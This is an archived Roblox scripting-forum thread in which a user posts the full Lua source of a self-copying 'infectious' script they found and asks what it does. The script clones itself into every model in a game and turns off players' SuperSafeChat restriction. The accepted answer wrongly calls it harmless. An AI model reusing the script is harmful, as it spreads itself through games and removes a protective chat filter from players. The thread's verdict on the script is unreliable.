Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
✓ ANSWER ACCEPTED

What does this infectious script I found do?

I found this infectious script. I managed to catch it before it did any harm (I think) but I read through it and don't understand some of the things that it does. Help?

if (script.Parent == workspace) then
function checkForAndSwitch(player)

	if (player.SuperSafeChat == true) then

		player.SuperSafeChat = false;

		wait(5);

		local m = Instance.new("Message");

		m.Text = "Press the / key to start typing.";

		m.Parent = player;

		wait(5);

		m.Text = "Then press Enter to send your message.";

		wait(5);

		m:Remove();

		m = nil;

	end

	player = nil;

	collectgarbage("collect");

end

function onChildAddedToPlayers(obj)

	if (obj.className == "Player") then

		checkForAndSwitch(obj);

		local m = Instance.new("Message");

		m.Text = "welcome me place!!!";

		m.Parent = obj;

		wait(5);

		m:Remove();

		m = nil;

	end

	obj = nil;

	collectgarbage("collect");

end

function onChildAddedToWorkspace(obj)

	if (obj.className == "Model") then

		if (game.Players:playerFromCharacter(obj) \~= nil) then
checkForAndSwitch(game.Players:playerFromCharacter(obj));
		end

	end

	obj = nil;

	collectgarbage("collect");

end

function findLowestLevel(obj)

	local c = obj:GetChildren();

	local lowestLevel = true;

	for i, v in pairs(c) do

		if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
lowestLevel = false;
wait();
findLowestLevel(v);
		end

	end

	if (obj \~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then

		if (obj \~= game.Lighting and obj \~= game.StarterPack) then
local s = script:Clone();
s.Parent = obj;
		end

	end

end

findLowestLevel(game);

game.Players.ChildAdded:connect(onChildAddedToPlayers);

game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
local findScript = workspace:FindFirstChild(script.Name);

if (findScript == nil) then

	local s = script:Clone();

	s.Parent = workspace;

end
end
--[[function findAllCopies(obj)
local c = obj:GetChildren();

for i, v in pairs(c) do

	if (v.Name == script.Name and v.className == "Script" and v \~= script) then

		v.Parent = nil;

	elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then

		findAllCopies(v);

	end

end
end
findAllCopies(game);
script.Parent = nil;]]

2 comments

0

it doesn't seem like it does much

0

nothing. collectgarbage doesn't do anytihng lulw

1 answer

✓ Accepted answer

All this does is when someone joins your game it will create a message. Nothing harmful at all, lol :P

3 comments

0

Thx for the help. It had reproduced and was in every model in my game. When I reverted to a past save, I found the parent script. Out of curiosity, what would the message have been?

0

Press the / key to start typing. Then press Enter to send your message. welcome me place!!!

0

it would wait 5 second before saying each line

This discussion is preserved as it was. New answers, comments, and votes are closed.